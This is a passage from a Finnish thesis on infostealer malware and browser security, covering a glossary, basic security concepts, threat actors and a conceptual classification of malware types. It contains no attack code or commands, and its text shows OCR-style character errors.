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Sanasto

Infostealer — Haittaohjelma, jonka tarkoituksena on varastaa tietoa, kuten kayttajatunnuksia, salasanoja
ja selaintietoja.

Istuntoevaste (session cookie) — Verkkosivuston luoma tunniste, joka mahdollistaa kdyttdjan istunnon
yllapitamisen ilman jatkuvaa uudelleentunnistautumista.

ClickFix — Sosiaalisen manipuloinnin menetelma, jossa kayttaja huijataan asentamaan haittaohjelma
ohjeilla, joilla naennaisesti korjataan jokin ongelma.

CIA-malli — Tietoturva perusperiaatteet: luottamuksellisuus (Confidentiality), eheys (Integrity) ja
saatavuus (Availability).

Malware-as-a-Service (MaaS) — Rikollisten palvelumalli, jossa haittaohjelmia tarjotaan maksua vastaan
valmiina ratkaisuina.

Sandbox/hiekkalaatikko — Eristetty ohjelmien suoritustila, jossa voidaan turvallisesti ajaa haitallista tai
muuta kokeellista koodia ilman, etta se vaikuttaa muuhun jarjestelmaan.

Automaattitaytto (autofill) — Selaimen toiminto, joka tallentaa lomaketietoja ja kdyttaa niita
automaattisesti lomakkeiden tayttamiseen.

MITRE ATT&CK® — Julkisesti saatavilla oleva tietokanta tunnetuista hydkkaystekniikoista, jota kdytetaan
uhkien tunnistamiseen ja mallintamiseen.

CVE-tunniste (Common Vulnerabilities and Exposures) — Tietoturvahaavoittuvuuksille annettava
yksilollinen tunniste, joka mahdollistaa niiden yhtendisen tunnistamisen ja kasittelyn eri
jarjestelmissa.

Hyokkayspinta-ala — Kaikki kohteen osat, joiden kautta hyokkaaja voi yrittaa paasta jarjestelmaan tai
kasiksi tietoihin.

Toimintaketju (kill chain) — Sarja vaiheita, joiden kautta kyberhyokkays etenee alkuperaisesta
tunkeutumisesta tavoitteiden saavuttamiseen.

Obfuskointi — Koodin tai tiedon tarkoituksellinen muokkaus vaikealukuiseksi, jotta sen analysointi tai

ymmartaminen olisi vaikeampaa.



Virtuaalikone (VM) — Ohjelmisto, joka emuloi tietokonetta ja mahdollistaa kdyttojarjestelmien ajamisen
erillaan fyysisesta laitteesta.

Skripti — Ohjelmakoodi eli komentosarja, joka suorittaa automaattisia toimintoja esimerkiksi
verkkosivuilla tai kayttojarjestelmassa.

Kernel (ydin) — Kayttojarjestelman keskeinen ohjelmiston osa, joka toimii rajapintana tietokoneen
laitteiston ja muiden ohjelmistojen valilla. Se vastaa keskeisista tehtavista, kuten resurssien
hallinnasta, prosessien ajamisesta ja laitteistojen valisestd kommunikaatiosta.

Bottiverkko — Joukko haittaohjelmalla kaapattuja tietokoneita, joita hallitaan keskitetysti esimerkiksi

verkkohyokkaysten tai roskapostin levittamiseen.
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1 Johdanto

Taman paivan arvokkainta valuuttaa on data, sen tietavat seka kaupalliset toimijat etta
rikolliset. Tama nakyy erityisesti kiristyshaittaohjelmien ja infostealer-haittaohjelmien
kasvavana maarana. Infostealer-haittaohjelmat tartuttavat kayttajien laitteita ja keraavat
niiltd kaiken kaupaksi kelpaavan tiedon, kuten kayttajatunnukset, salasanat ja
istuntoevasteet. Keratyt tiedot Iahetetaan rikollisille, jotka joko kayttavat niita itse tai myyvat
ne eteenpain. Koska nama haittaohjelmat toimivat usein huomaamattomasti, varkaudet

havaitaan vasta, kun tietoja kaytetdan vaarin.

Infostealer-haittaohjelmat ovat uhka seka yksityishenkildille ettd organisaatioille. Siksi on
tarkeaa tunnistaa tama riski ja oppia ehkaisemaan se. Esimerkiksi tdman hetken yleisinta
infostealer-haittaohjelmaa Lumma Stealer:ia on levitetty kampanjoissa, joissa kaytetaan
sosiaalista manipulointia hyédyntavaa ClickFix-tekniikkaa haittaohjelman asentamiseksi
(Kyberturvallisuuskeskus, 2024). Taysin varma tapa suojautua olisi olla kayttamatta

internetid, mutta se ei ole realistista nykypaivan yhteiskunnassa.

Tassa opinnaytetydssa tutkitaan infostealer-haittaohjelmien toimintaa verkkoselainten
nakokulmasta Windows ymparistossa. Tarkoituksena on selvittaa, miten selainasetuksilla
voidaan vahentaa tai estaa tietovarkauksia. Opinnaytetydssa kasitellaan haittaohjelmien
toimintaperiaatteita, leviamistapoja ja keinoja altistumisten ehkaisemiseksi. TAman pohjalta
kootaan parhaat kaytannot turvallisiin selainasetuksiin, joita voivat hyddyntaa seka

yksityishenkilot etta yritykset.

Opinnaytetydssa pyritaan vastaamaan seuraaviin tutkimuskysymyeksiin:

e Miten infostealer-haittaohjelmat keraavat dataa selaimista?
e Miten organisaatiot ja yksityishenkil6t voivat tehokkaimmin suojautua infostealer-

haittaohjelmien aiheuttamilta tietovarkauksilta selaimissa?
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2 Tietoturva

Suomalaisista 16—89-vuotiaista 83 % kertoi kayttdneensa internetia useita kertoja paivassa
vuonna 2024. Tahan internetin kayttamiseen sisaltyy niin pankkiasioiden hoitamista,
sahkopostin lukua, pikaviestittelya, palveluihin tunnistautumista, etta sosiaalisen median
kayttamista eli tehtavia, joiden merkittdvana osana on data meista. (Ficom, 2025) Digi- ja
vaestoviraston digiturvabarometrin 2024 mukaan kansalaisten luottamus digipalveluihin ja -
laitteisiin on heikentynyt edeltavasta vuodesta. Tekniikan kehityksen ja etenkin tekoalyn
my6ta uhat ovat kehittyneempia seka niitéd ilmenee koko ajan enenevissa maarin. (Digi- ja
vaestovirasto, 2024). Tama tilannekuva korostaa tietoturvatietoisuuden kehittdmisen

tarpeellisuutta ja tarkeytta tdssa hetkessa.

Tietoturvalla tarkoitetaan toimenpiteitd, joilla tiedot, tiedostot ja tietokoneet ovat suojattuja
seka niiden toiminta varmistettu (Jarvinen, 2018, Kyberturvallisuus, toinen kappale).
Yleisesti tietoturvassa noudatetaan ClA-mallia: luottamuksellisuus (eng. confidentiality),
eheys (eng. integrity) ja saatavuus (eng. availability). Tieto on siis suojattu ja tallennettu
luottamuksellisesti niin, etta siihen paasevat kasiksi vain henkilot, joilla on siihen oikeus.
Eheydella tarkoitetaan sita, etta kukaan ei ole oikeudettomasti muokannut tietoa ja jos niin
kay niin luvaton muokkaus tunnistetaan. Saatavuudella taataan, etta tieto on tarvittaessa
varmasti saatavilla. (Green ym., 2024, Information security principles -luku, ensimmainen
kappale) Kuva 1 havainnollistaa kolmion muodossa CIA-mallin. Tietoturvan kasite sisaltaa
niin fyysisen kuin digitaalisen tiedon turvaamisen, kun taas laajempi kasite
kyberturvallisuus kattaa laajemmin digitaalisen maailman turvallisuutta (Limnéll ym., 2014,

Digitaalisen maailman turvallisuus -luku, toinen kappale).
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Kuva 1. CIA-malli (mukaillen Green, ym., 2024, Information security principles -luku,

ensimmainen kappale)

o

Luottamuksellisuus
(Confidentiality)

Tietoturva
O

Saatavuus Eheys
(Availability) (Integrity)

Statista (2024) arvioi, ettd vuonna 2025 maailmassa tullaan luomaan 182 zettatavua dataa,
mika on noin 500 miljoonaa teratavua paivassa. Tietoa on siis paljon ja on tarkea tunnistaa
mita on se tieto, jota ollaan milloinkin turvaamassa ja mika sen arvo on. Merkityksellisia ja
arvokkaita tietoja ovat muun muassa kayttajatunnukset, salasanat, henkilétiedot,
maksutiedot, asiakastietokannat ja -rekisterit. Rikolliset tavoittelevat naita tietoja
kerryttdakseen rahallista ja tiedollista hyotya. Traficom (2025) kertoi suomalaisten

menettdneen vuonna 2024 yli 84 miljoonaa euroa pelkastaan verkkohuijauksissa.

Tietoturva on tasapainottelua toimivuuden ja turvallisuuden valilla. Ehdotonta turvallisuutta
ei ole, vaan aina vaakakupissa painaa kaytettavyys vastapainona. (Jarvinen, 2022, ss. 32—
33) Esimerkiksi selainten istuntoevasteet tekevat eri verkkopalveluiden kaytdsta sujuvaa,
koska palvelu tunnistaa kayttajan evasteella automaattisesti. Talloin palveluun ei tarvitse
joka kerta erikseen kirjautua, mika tekee kaytdsta mukavaa ja helppoa. Toisaalta
katsottuna evaste on arvokas juuri sen takia ja vaariin kasiin paatyessa, silla voidaan

ohittaa palveluun kirjautuminen ja murtautua toisen kayttajan tiliin oikeudetta.
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2.1 Tietoturvauhkatekijat

Tietoturvan nakdkulmasta uhkatekijéina eli kuka tai mika voi aiheuttaa uhan voivat olla
luonnonkatastrofit ja inhimilliset erheet, mutta niita voivat olla myds verkkorikolliset,
harrastelijat (eng. script kiddies), haktivistit, verkkoterroristit ja valtiolliset tiedustelijat.
Naiden uhkatekijdiden motiivit saattavat olla kiusanteossa ja tiedustelussa, mutta etenkin
verkkorikolliset tavoittelevat usein taloudellista hyotya itselleen joko suoraan tai valillisesti.
(Jarvinen & Rousku, 2017, Muutoksentekijat ja tietoturvallisuuden merkitys -luku,

kahdeksas kappale)

Kyberrikollisuus on kasvanut verkossa tapahtuvaksi ammattirikollisuudeksi, jolla on
kehittyneita palveluorientoituneita bisnesmalleja, kuten esimerkiksi Crimeware-as-a-Sevice
(CaaS). CaaS:in ytimessa on alamaailman markettipaikat, jossa laittomat palvelut ovat
tarjolla auttamaan rikollisia tekemaan automatisoituja kyberrikoksia, kuten haittaohjelma
hyokkayksia ja rahanpesua. Naiden palveluiden kayttgjilté ei vaadita suurta teknista
osaamista, vaan palvelut ovat valmiita ja helppokayttoisia. Markettipaikoilta 16ytyvia
keskeisia elementteja ovat toimijat eli koodarit, operaattorit tai ostajat, arvoketjut el
haittaohjelmien kehitys, jakelu ja kayttd seka toimintatavat eli esimerkiksi ohjelmistopaketit,

valityspalvelut tai datan toimittaminen. (An & Kim, 2018, ss. 1-2)

Tapa paasta lahelle uhriaan on sosiaalinen manipulointi eli kayttdjan harhaanjohtamista
manipuloinnin keinoin. Sosiaalinen manipulointi tarkoittaa ihmisten huijaamista
paljastamaan tietoja tai asentamaan haittaohjelmia. Yleisin menetelma on tietojenkalastelu
(eng. phishing), jossa hyokkaaja esiintyy luotettavana tahona ja houkuttelee uhrin
luovuttamaan esimerkiksi salasanoja tai maksutietoja. (Rains ym., 2023, Introduction -luku,
kappale 22) Kalastelukampanijat voivat olla yksildihin kohdennettuja tai suurille joukoille
suunnattuja ja niita levitetddn muun muassa huijaussivustojen kautta, QR-koodilinkkien

kautta tai suorilla yhteydenotoilla puhelimella, viesteilla ja sahkoposteilla. (F-secure, 2022)

Kehittyneemmassa manipuloinnissa kaytetaan hyvaksi uhrista avoimista tietolahteista
I8ytyvia julkisia tietoja, kuten sosiaalisen median profiilitietoja (Kyberturvallisuuskeskus,
2023). Tekoalyn kehittyminen on mahdollistanut entistd aidommat huijaukset, kuten tarkoin
yksilGityjen kalastelukampanjoiden ja deepfake-vaarennésten kaytén. (Green ym., 2024,

Emerging technologies -luku, ensimmainen kappale)
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Uhkatekijoihin lukeutuu myds sisapiirin uhka, jossa nykyinen tai entinen tydntekija
hyédyntaa paasyaan jarjestelmiin joko vahingossa tai tarkoituksella. Vaikka useimmat
infostealer-hyokkaykset ovat ulkoisten toimijoiden toteuttamia, sisapiirilaiset voivat
mahdollistaa niiden levidmisen esimerkiksi huolimattomuudella tai tarkoituksellisella
haittaohjelman levittamisella. (Green ym., 2024, Security operations -luku, kahdeksas

kappale)

Laitteet ja jarjestelmat voivat hajota ja niissa voi olla sisaan rakennettuja haavoittuvuuksia,
joita hyokkaajat voivat hyddyntaa palveluihin sisaan paasemiseksi. Nollapaiva
haavoittuvuudet ovat haavoittuvuuksia, joita ei viela tunneta. Nollapaivan hyddyntaminen
on tehokasta, koska siihen ei |0ydy viela korjauskeinoa eika virustorjuntaohjelmistot osaa
varoittaa niista. (Green ym., 2024, Security operations -luku, yhdeksas kappale)
Tietojarjestelmissa voi olla konfigurointivirheitd esimerkiksi oletusarvo asetuksien
muodossa, jotka voivat olla laitevalmistajan asettamia oletussalasanoja ja nain ollen

yleisessa tiedossa. (Rains ym., 2023, Introduction-luku, kappale 19)

2.2 Tietoturvauhat

Tietoturvan kannalta keskeisia uhkia ovat muun muassa palvelunestohytkkaykset,
tietomurrot, tietovuodot, tietovarkaudet, toimitusketjuhydkkaykset ja datan manipulointi,

jotka vaarantavat tiedon luottamuksellisuuden, saatavuuden ja eheyden.

Palvelunestohyokkays (eng. denial of service attack, DoS) on hydkkays, jossa hairitdan tai
estetaan verkkopalvelun toimintaa. Hyokkays tapahtuu Iahettamalld kohteeseen
ylimaaraista likennetta, muisti- tai laskentaresursseja kuormittavaa liikennetta tai
hyodyntamalla siina olevaa haavoittuvuutta, jolloin palvelun toiminta estyy. Hajautetuissa
palvelunestohyokkayksissa (eng. distributed denial of service, DDoS) hyokkays tulee
kohteeseen useasta lahteestad samanaikaisesti, yleensa hyokkaajan hallitsemasta
bottiverkosta. Palvelunestohyokkays on teknisesti helppo toteuttaa ja niita tehdaan
kiusantekoon, kiristamiseen ja poliittiseen hairintaan. (Kyberturvallisuuskeskus, 2022a, s.
2)

Kun tietojarjestelmaan tunkeudutaan luvattomasti tai kun laitteita tai sovelluksia kaytetaan
luvattomasti, on kyseessa tietomurto. Murrettua jarjestelmaa voidaan hyddyntaa

esimerkiksi bottiverkon osana tai siihen voidaan ujuttaa kiristyshaittaohjelma ja pyrkia
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taloudelliseen hydtymiseen. Tietomurrot voivat haitata organisaatioiden normaalia
toimintaa ja aiheuttaa taloudellisia tappioita ja mainehaittoja. Murtautuja saattaa kayttaa
paasyaan jarjestelmaan hyvaksi pitkaaikaisesti ja tehda vahinkoja huomaamattomasti, nain
ollen murtautumisen tunnistaminen voi olla hidasta ja vaikeaa. (Kyberturvallisuuskeskus,
2022b, s. 2)

Usein tietomurron paddmaara on varastaa tietoja, jolloin puhutaan tietovarkaudesta.
Paasaantoisesti tavoite on taloudellinen hyétyminen joko suoraan kayttamalla tietoja
rahallisesti hyodyksi esimerkiksi tekemalla identiteettivarkauden, mutta taloudellista hyotya
voidaan saada myo0s varastettuja tietoja eteenpain myymalla. Tietovarkaus ei suoraan
tarkoita, etta uhri menettaa tietonsa, vaan etta ne monistuvat jonkun toisen haltuun.
(Kaspersky, 2018) Identiteettivarkauden uhrina voi olla myés yritys, rikollinen voi
saamiensa tietojen avulla tehda valheellisia ilmoituksia kapparekisteriin ja nimittaa itsensa

yrityksen johtoon ja tehda tilauksia yrityksen nimissa itselleen (Jarvinen, 2022, s.244).

Tietovuoto on tapahtuma, jossa luottamuksellista tai arkaluontoista tietoa paasee
vuotamaan ymparistodn missa sen ei kuuluisi olla. Tietovuodot voivat olla tahattomia tai
tahallisia. Tietomurron tai tietovarkauden seurauksena rikollinen saattaa jakaa saamiaan
tietoja rahaa vastaan tai kiristdessaan julkaista tietoja todistaakseen, ettd on saanut
haltuunsa tietoja, joita vasten kiristdd uhriaan. Tietovuoto voi myds olla vahinko
organisaation sisalla tai virheellinen toimintapa, joka aiheuttaa tietojen paatymisen vaaraan
paikkaa (Microsoft, n.d.). Vuotaneita tietoja voidaan kayttaa tietomurtojen tai muiden
rikoksien tekemiseen, niita yleensa myydaan ja julkaistaan rikollisten kauppapaikoilla

suurina tietokantoina (Kyberturvallisuuskeskus, 2022c, s. 2).

Monet organisaatiot ja niiden tarjoamat palvelut nojaavat kolmansien osapuolien
toimittamiin palveluihin ja tuotteisiin, ja naiden toimitusketjujen moninaisuudessa piilee
vaaroja. Toimitusketjuhytkkayksissa voidaan iskea palveluun ujuttamalla haitallisia
laitteistokomponentteja, ohjelmistokoodia tai vakoiluvalineita tuotteeseen kehityskaaren
alkupaassa ja nain vaarannetaan lopputuotteen tietoturvallisuus. (Green ym., 2024,

Security lifecycle and devops -luku, kolmas kappale)

Tietojen eheyteen voidaan isked manipuloimalla dataa. Haittaohjelmat kuten
kiristyshaittaohjelmat muokkaavat tiedostoja salaamalla ne. Tietoja saatetaan myos

poistaa, lisata tai muokata erilaisista rekistereista tai tietokannoista. (Cawthra ym., 2020,
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s.4) Tekoalyn aikakautena myds kielimallien opetukseen voidaan vaikuttaa antamalla niille
manipuloitua dataa opetusvaiheessa. Tata kutsutaan Al poisoning -hyokkaykseksi ja silla
voi olla merkittavia haittoja kielimalleissa, jotka tekevat kriittisia paatoksia esimerkiksi
terveydenhuollon tai turvallisuuden systeemeissa. (Green ym., 2024, Emerging

technologies -luku, ensimmainen kappale)

Tietoturvallisuuden uhilta ei voi taysin valttya, mutta niihin voidaan varautua ennakolta.
Varautuminen perustuu jatkuvaan tietoisuuden lisd@miseen, silla uhkakuva muuttuu
teknologian kehittyessa koko ajan. Tietoturva on osa arjen riskienhallintaa ja nain ollen
jokaisen yksilon asia, ei vain jarjestelmien yllapitajien ja tietoturvan ammattilaisten. (Limnéll

ym., 2014, Uhkat, riskit ja nykyiset haavoittuvuudet -luku, ensimmainen kappale)

2.3 Haittaohjelmat ja niiden luokittelu

Monen uhan takana ovat haittaohjelmat ja niita voidaan levittdad mihin tahansa laitteeseen,
jolla surffataan internetissa tai johon voidaan ajaa komentoja (Rains ym., 2023, The
evolution of malware -luku, ensimmainen kappale). AV-TEST instituutin (2025)
haittaohjelmisto tilaston mukaan kirjoitus ajankohtana (kevat 2025) se rekisteréi uusia
haittaohjelmia ja muita ei-toivottuja sovelluksia maailmanlaajuisesti 280 014 kappaletta
paivittain. Kuva 2 nayttaa tilaston osuudet sekunti tasolta 12 kuukauden rekisterdintien
maaraan. Windows on kayttdjarjestelmana houkuttelevin haittaohjelmien kehittajille, koska
Windows on kaytanndssa kaikkialla ja siihen on helppo asentaa ulkopuolisia ohjelmia

(Rains ym., 2023, The evolution of malware -luku, ensimmainen kappale).
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Kuva 2. Rekisteroidyt uudet haittaohjelmat ja ei-toivotut sovellukset (AV-TEST institute,
2025)

Haittaohjelmat ovat ohjelmistoja, joiden tarkoituksena on tahallisesti heikentaa tietoturvaa
vaarantamalla tiedon saatavuus, eheys ja luottamuksellisuus. Toisin kuin aiemmin, jolloin
haittaohjelmat jakautuivat selkeasti esimerkiksi matoihin ja kiristyshaittaohjelmiin, nykyiset
haittaohjelmat sisaltavat usein piirteita useista eri haittaohjelmatyypeista. Ne luokitellaan
kuitenkin edelleen paaasiallisen toiminnan perusteella, vaikka yksittdinen haittaohjelma
saattaa yhdistaa esimerkiksi troijalaisen ja infostealerin ominaisuuksia. Osa
haittaohjelmista on suunniteltu ainoastaan paasemaan jarjestelmaan sisalle, kun taas
toisten tehtdvana on aiheuttaa vahinkoa sisaanpaasyn jalkeen. Joissakin tapauksissa yksi
ja sama haittaohjelma hoitaa koko hyokkaysketjun itsenadisesti. Haittaohjelmat ovat
hyokkaajan tyodkaluja, joiden avulla kohdeymparistossa voidaan toimia automaattisesti ja
jarjestelmallisesti. (Rains ym., 2023, The evolution of malware -luku, neljas kappale)
Haittaohjelmat voidaan jakaa eri tyyppeihin niiden toimintaperiaatteiden perusteella seka
edelleen haittaohjelmaperheisiin niiden eri versioiden mukaan. (Mohanta & Saldanha,

2020, Malware analysis and classification -luku, neljas kappale)

Seuraavaksi kasitelldadn merkittavimpia haittaohjelmatyyppeja, jotka liittyvat erityisesti
tietojen varastamiseen ja selainten kautta leviamiseen. Esittely ei kata kaikkia mahdollisia

haittaohjelmia, vaan keskittyy merkittavimpiin tietoturvauhkia aiheuttaviin haittaohjelmiin.
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2.3.1 Troijalainen

Troijalainen on haittaohjelma, joka tekeytyy hyodylliseksi tai harmittomaksi ohjelmaksi,
muistuttaen Troijan hevosta kreikkalaisessa mytologiassa. Ne leviavat usein sosiaalisen
manipuloinnin avulla, kun kayttdjd huomaamattaan lataa ja suorittaa haitallisen ohjelman.
Tama tekee troijalaisista yhden helpoimmin leviavista haittaohjelmatyypeista, silla itsestaan
leviavien haittaohjelmien kehittdminen vaatii enemman teknista osaamista. (Rains ym.,
2023, The evolution of malware -luku, neljas kappale) Useimmat haittaohjelmat
hyoédyntavat troijalaisille ominaista l[ahestymistapaa paastakseen kohdejarjestelmaan,
minka vuoksi troijalaisia voidaan pitaa monien muiden haittaohjelmien ylakasitteena. Uhrin
harhauttaminen on keskeinen osa hydkkayksen onnistumista. (Kleymenov & Thabet, 2022,

Cybercrime, APT attacks, and research strategies -luku, toinen kappale).

2.3.2 Hyokkayskoodi ja Hyokkayspakkaukset

Hyokkayskoodit (eng. exploit) ja hyokkayspakkaukset (eng. exploit kit) on suunniteltu
hyddyntamaan jarjestelmien haavoittuvuuksia. Yksittainen hyokkayskoodi pyrkii
kayttamaan hyvakseen tiettya haavoittuvuutta esimerkiksi jarjestelmaan paasyn
varmistamiseksi tai takaoven asentamiseksi. Hyokkayskoodeja voidaan levittda
vaarennettyjen tai muokattujen tiedostojen kautta, jotka kohde houkutellaan lataamaan.
Hydkkayspakkaukset kokoavat yhteen useita hydkkayskoodeja, helpottaen hydkkaajan
toimintaa ja jarjestelman haltuunottoa. (Rains ym., 2023, The evolution of malware -luku,

neljas kappale)

2.3.3 Mato

Madot ovat haittaohjelmia, jotka levidvat itsendisesti ilman kayttajan toimintaa. Ne
hyoédyntavat levidmisessa haavoittuvuuksia, heikkoja salasanoja, konfigurointivirheita ja
joskus myds sosiaalista manipulointia. Madot voivat levita esimerkiksi verkon vyli tai
ulkoisten muistivalineiden, kuten USB-tikkujen, kautta. (Rains ym., 2023, The evolution of
malware -luku, neljas kappale) Ne ovat vaarallisia erityisesti organisaatioymparistdissa
nopean leviamisensa vuoksi (Rains ym., 2023, The evolution of malware -luku, seitsemas

kappale).
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2.3.4 Kiristyshaittaohjelma

Kiristyshaittaohjelmat ovat tunnettuja lamauttavasta vaikutuksestaan, eivatka niinkaan
yleisyydestaan. Ne salaavat tai estavat paasyn tiedostoihin ja kiristavat uhrilta lunnaita
tietojen palauttamiseksi tai vuotamisen estamiseksi. (Rains ym., 2023, The evolution of
malware -luku, neljas kappale) Lunnaiden maksamista ei suositella, silla palautuksesta ei
ole takeita ja tiedot saattavat olla jo vuotaneet. Joissain tapauksissa kiristys voi olla pelkka
peitetarina ja todellinen tarkoitus tiedostojen tuhoaminen. (Kyberturvallisuuskeskus, 2022d,
s. 2) Kiristyshaittaohjelmat ovat usein helposti havaittavissa, silla hydkkaajat tekevat
vaatimuksensa nakyviksi. liIman erillisia ja toimivia varmuuskopioita seuraukset voivat olla
vakavat, koska monet haittaohjelmat pyrkivat salaamaan myos varmuuskopiot. (Mohanta &

Saldanha, 2020, Malware analysis and classification -luku, neljas kappale)

2.3.5 Virus

Virukset ovat haittaohjelmia, jotka tarttuvat ensin isantaohjelmaan ja leviavat siita edelleen
muihin ohjelmiin saastuttaen laitteen laajemmin. Modernit virukset voivat ladata muita
haittaohjelmia, poistaa kaytosta tietoturvaohjelmistoja, varastaa valimuistissa olevia
tunnistetietoja, aktivoida kameroita ja mikrofoneja seka asentaa takaovia hydkkaajille.
(Rains ym., 2023, The evolution of malware -luku, neljas kappale) Virus eroaa madosta
siind, etta se tarvitsee yleensa kayttajan toiminnan, kuten haitallisen tiedoston

suorittamisen, aktivoituakseen (Fortinet, n.d.).

2.3.6 Keylogger ja infostealer

Keylogger-haittaohjelmat tallentavat uhrin laitteen nappaimiston painalluksia ja lahettavat
ne hyokkaajalle. Infostealer-haittaohjelmat saattavat hyédyntaa keyloggereita osana
toimintaansa, mutta niiden tarkoituksena on varastaa laajempia tietomaaria tunkeuduttuaan
laitteelle. Monet ohjelmistot tallentavat kirjautumistietoja ja muuta kayttéhistoriaa
helpottaakseen kayttajan toimintaa, ja infostealerit kerdavat naita tietoja paikallisesti
tallennetuista tiedostoista. Kun tiedot on keratty, ne siirretaan hyokkaajalle verkon yli,
minka jalkeen tietoja kdytetdan suoraan hyvaksi tai myydaan edelleen. (Mohanta &

Saldanha, 2020, Malware analysis and classification -luku, neljas kappale)
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2.3.7 Rootkit

Rootkit on edistynyt haittaohjelma, joka tunkeutuu kayttdjarjestelman ydintoimintoihin ja
manipuloi kernelin muistia. Rootkit voi ohittaa jarjestelman suojausmekanismit ja antaa
hyokkaajalle taydet kayttdoikeudet laitteeseen. Kayttaja pystyy jatkamaan laitteen
normaalia kayttoa, koska rootkit toimii huomaamattomasti taustalla. Rootkit-haittaohjelmia
hyédynnetdan usein tietojen varastamiseen, muiden haittaohjelmien asentamiseen tai
jarjestelman vakoiluun. (Green ym., 2024, Security operations -luku, yhdeksas kappale)
Koska rootkit toimii kayttdjarjestelman ytimessa, se sailyy usein jopa laitteen
uudelleenkaynnistyksen jalkeen. Viela syvemmalle, laiteohjelmistotasolle pesiytyvat
bootkit-haittaohjelmat ovat sitakin pysyvampia uhkia. (Cucci, 2024, Defense evasion -luku,

kolmas kappale)

2.3.8 Takaovi ja etdhallintatroijalainen

Takaovet (eng. backdoor) ovat piilotettuja paasykeinoja jarjestelmaan, joiden avulla
hyokkaajat voivat ohittaa tunnistautumismenetelmat ja saavuttaa jarjestelmanvalvojan
oikeudet. Takaovia voidaan luoda hyddyntamalla haavoittuvuuksia tai piilottaa
ohjelmistoihin jo toimitusketjun eri vaiheissa, kuten SolarWinds-hyokkayksessa. (Elisan,
2018, Malware blueprint -luku, toinen kappale; Oladimeji & Kerner, 2023)
Etahallintatroijalaiset (eng. Remote Access Trojan, RAT) ovat haittaohjelmia, jotka luovat
hyokkaajalle pysyvan etdyhteyden uhrin laitteeseen ja toimivat takaoven tavoin.
Etahallintatroijalaiset koostuvat uhrilaitteelle asennetusta ohjelmistosta ja
komentopalvelimesta (eng. Command and control server, C&C, C2), jonka kautta
hyokkaaja hallitsee laitetta. Verkkoliikenteen haivyttdmiseen voidaan kayttaa esimerkiksi
ICMP-paketteja, jotka eivat helposti herata epailyksia valvonnassa. (Mohanta & Saldanha,
2020, Malware analysis and classification -luku, neljas kappale; Elisan, 2018, Malware
blueprint -luku, toinen kappale; Skoudis ym., 2003, Backdoors-luku, kuudes kappale)
Takaovien ja etahallintatroijalaisten avulla voidaan hallita jarjestelmaa, yllapitaa
sisdanpaasya, vakoilla uhria ja valmistella muita haittaohjelmahydkkayksia (Jiang ym.,
2019, s. 1).
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2.3.9 Lataaja

Lataajat (eng. loader) ovat haittaohjelmia, joiden tehtdvana on ladata ja asentaa verkosta
muita haittaohjelmia uhrin jarjestelmaan. Joissain tapauksissa lataajat myos valmistelevat
kohdekoneen haittaohjelman ajamista varten esimerkiksi poistamalla kaytosta
virustorjuntaohjelmia. (Cucci, 2024, Introduction-luku, ensimmainen kappale) Lataajat ovat
yleensa osa monivaiheista haittaohjelmien jakeluketjua, jossa ensin toimitetaan pieni,
naennaisesti harmiton tiedosto, joka hakee loput haitallisista komponenteista verkon yli.
Tama toimintatapa vaikeuttaa havaitsemista, silla lataaminen itsessaan ei valttamatta
herata epailyksia. Esimerkiksi paivitystyokalut toimivat samalla periaatteella. Lataajat
toimivat usein hitaasti ja pienissa erissa valttaakseen virustorjuntaohjelmien tunnistuksen.
Taman vuoksi ne saattavat pysya esimerkiksi VirusTotal-palvelun rekistereissa
tuntemattomina viikkoja tai jopa kuukausia. (Kwon, ym., 2015, ss. 1119-1120, 1122-1123)
Talla hetkella maailman ja Suomen yleisin lataajahaittaohjelma on FakeUpdates, joka toimii
alustana muun muassa Lumma Stealerin levittamiselle (Check Point Software
Technologies Finland Oy, 2025).

2.3.10 Tiedostoton haittaohjelma

Tiedostottomat haittaohjelmat (eng. fileless malware) toimivat ldhes kokonaan laitteen
muistissa kirjoittamatta tai muokkaamatta tiedostoja kovalevylle. Ne hyddyntavat
jarjestelman omia oletusprosesseja, kuten certutil.exe, powershell.exe ja mshta.exe
(jarjestelmassa valmiina olevia komentorivitydkaluja ja skriptien suorittajia), joita kutsutaan
nimella "Living off the Land Binaries" (LOLBins). Tiedostottomat hydkkaykset voivat
kaynnistya esimerkiksi tietojenkalastelun yhteydessa ladattavista tiedostoista tai
haitallisista mainoksista (eng. malvertising). Havaitseminen on erittdin haastavaa, silla
hydkkaykset jattavat vain vahan merkkeja toiminnastaan ja esimerkiksi Microsoft Defender
ei valttdmatta tunnista Microsoftin omien oletusohjelmien vaarinkayttda haitalliseksi. (Cucci,

2024, Defense evasion -luku, neljas kappale).

2.3.11 Ei-toivotut sovellukset

Ei-toivotut sovellukset (eng. Potentially Unwanted Applications, PUA) edustavat

haittaohjelmien harmaata aluetta. Esimerkiksi pelisovellus, joka taustalla keraa kayttajan
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selaushistoriatietoja markkinointitarkoituksiin, voi herattaa epailyksia. Mikali tasta on
informoitu kayttajasopimuksessa (EULA) ja kayttaja on sen hyvaksynyt, ei kyseessa ole
varsinaisesti haittaohjelma. Sovellus voidaan kuitenkin joissain tapauksissa katsoa
haitalliseksi sen kajoavuuden vuoksi. Taman takia naita sovelluksia luokitellaan ei-

toivotuiksi sovelluksiksi. (Rains ym., 2023, The evolution of malware -luku, neljas kappale)
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3 Verkkoselaimien tietoturva

Verkkoselainten turvallisuus on keskeinen osa tietoturvaa, silla lahes kaikki internetin
kayttd tapahtuu selaimen kautta, mika tekee niista houkuttelevia kohteita rikollisille. Vaikka
kayttéjarjestelma olisi hyvin suojattu, selain voi paasta tietoturvauhat Iapi omien
haavoittuvuuksiensa kautta. Selaimen pitdminen ajan tasalla on siksi erityisen tarkeaa.

(Rains 2023, Using vulnerability trends to reduce risk and cost -luku, neljas kappale)

Google Chrome on maailmanlaajuisesti selvasti suosituin verkkoselain ja myos Suomessa
sen markkinaosuus oli maaliskuussa 2025 noin 65 % (StatCounter, 2025a). Kuva 3 nakyy
selainten markkinaosuudet globaalisti. Muita laajasti kaytettyja selaimia ovat Safari, Firefox
ja Edge (StatCounter, 2025a). Chrome perustuu avoimen lahdekoodin Chromium-
projektiin, joka toimii myds pohjana monille muille selaimille, kuten Edgelle, Operalle ja

Bravelle. (Picazo-Sanchez ym., 2020, s.107)

Kuva 3. Verkkoselainten maailmanlaajuinen markkinaosuus ajalla helmikuu 2024 -
maaliskuu 2025 (StatCounter, 2025b)

StatCounter Global Stats
Browser Market Share Worldwide from Feb 2024 - Mar 2025

< Chrome < Safari Edge O Firefox - Samsung Internet - Opera UC Browser <O- Android <O QQ Browser — Other (dotted)
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Verkkoselaimet koostuvat muun muassa kayttéliittymasta, selainmoottorista,
